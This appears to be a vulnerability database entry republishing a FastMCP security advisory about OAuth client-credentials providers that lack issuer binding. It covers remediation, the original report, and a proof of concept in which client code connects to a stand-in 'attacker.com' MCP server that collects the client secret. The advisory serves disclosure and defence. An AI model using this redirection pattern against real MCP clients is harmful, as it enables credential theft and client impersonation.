BREW-OTERM-GHSA-VQQP-X5QM-5QP4 (GHSA-VQQP-X5QM-5QP4)

Vulnerability from osv_homebrew – Published: 2026-10-29 21:42 – Updated: 2026-11-14 09:06 – Source website
VLAI
Summary
FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server
Details

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

  1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
  2. Provider binds to server URL and discovers OAuth metadata
  3. Client exchanges credentials at the token endpoint
  4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
  5. Attack: attacker-controlled MCP server advertises attacker's authorization server
  6. Result: client secret leaked to attacker

Affected code: - fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider) * init signature has no issuer= parameter * _bind() calls super().init(server_url=mcp_url, ...) without issuer=

  • fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)
  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

  1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

  2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

  1. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

  2. Attacker receives client_id and client_secret in Basic auth header

  3. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties: - Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers - Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios: - User misconfigures MCP server URL in Prefect agent config - MCP server URL obtained from user input without validation - Legitimate MCP server is compromised/redirected - MCP service provider (if SaaS) is compromised

Impacted products
Ecosystem Package Version
Homebrew oterm
pkg:brew/oterm
Affected: ≥ 0.24.0, < 0.26.1 (ecosystem)

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "fastmcp-slim",
        "resource_purl": "pkg:pypi/fastmcp-slim@4.1.8",
        "upstream_fixed_in": "4.1.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "oterm",
        "purl": "pkg:brew/oterm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.24.0"
            },
            {
              "fixed": "0.26.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fastmcp-slim@4.1.8",
        "name": "fastmcp-slim",
        "resource": "fastmcp-slim",
        "strategy": "registry",
        "subject_version": "4.1.8"
      }
    ]
  },
  "details": "## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.\n\nAffected stable versions are 4.0.0\u20134.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.\n\nThe 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.\n\n**Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.\n\n```python\nfrom fastmcp.client.auth import ClientCredentialsOAuthProvider\n\nauth = ClientCredentialsOAuthProvider(\n    client_id=\"my-client-id\",\n    client_secret=\"my-client-secret\",\n    issuer=\"https://auth.example.com\",\n)\n```\n\n## Original report\n\n### Summary\n\nfastmcp\u0027s ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp\u0027s wrapper layer.\n\n### Details\n\nWhen fastmcp connects to an MCP server with OAuth client credentials:\n\n1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)\n2. Provider binds to server URL and discovers OAuth metadata\n3. Client exchanges credentials at the token endpoint\n4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises\n5. Attack: attacker-controlled MCP server advertises attacker\u0027s authorization server\n6. Result: client secret leaked to attacker\n\nAffected code:\n- fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)\n  * __init__ signature has no issuer= parameter\n  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\n- fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)  \n  * __init__ signature has no issuer= parameter\n  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\nThe underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp\u0027s wrappers neither accept nor forward it.\n\nExample vulnerable usage:\n```python\nauth = ClientCredentialsOAuthProvider(\n    client_id=\"my-client-id\",\n    client_secret=\"my-client-secret\",\n)\nasync with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n    # Client credentials get sent to attacker\u0027s auth server if attacker\u0027s MCP \n    # server advertises it in RFC 9728 metadata\n    await client.list_tools()\n```\n\n### Proof of concept\n\n1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises \n   OAuth metadata pointing to https://attacker.com/oauth/token\n\n2. Client code:\n   from fastmcp import Client\n   from fastmcp.client.auth import ClientCredentialsOAuthProvider\n   \n   auth = ClientCredentialsOAuthProvider(\n       client_id=\"legitimate-client-id\",\n       client_secret=\"legitimate-client-secret\"\n   )\n   async with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n       await client.list_tools()\n\n3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)\n\n4. Attacker receives client_id and client_secret in Basic auth header\n\n5. Attacker can now impersonate the client against the legitimate authorization server\n\nThe vulnerability exists because fastmcp does not validate that the authorization \nserver advertised by the MCP server matches an expected issuer.\n\n### Impact\n\nSeverity: Medium-High\n\nAny application using fastmcp\u0027s M2M OAuth providers (ClientCredentialsOAuthProvider, \nPrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs \nis vulnerable to credential disclosure and client impersonation.\n\nAffected parties:\n- Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers\n- Any deployment using fastmcp\u0027s M2M auth to connect to MCP servers where the URL is \n  attacker-controllable or the server is compromised\n\nAttack scenarios:\n- User misconfigures MCP server URL in Prefect agent config\n- MCP server URL obtained from user input without validation\n- Legitimate MCP server is compromised/redirected\n- MCP service provider (if SaaS) is compromised",
  "id": "BREW-oterm-GHSA-vqqp-x5qm-5qp4",
  "modified": "2026-11-14T09:06:06Z",
  "published": "2026-10-29T21:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vqqp-x5qm-5qp4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/5933"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding \u2014 client secret redirectable to attacker-advertised authorization server",
  "upstream": [
    "GHSA-vqqp-x5qm-5qp4"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.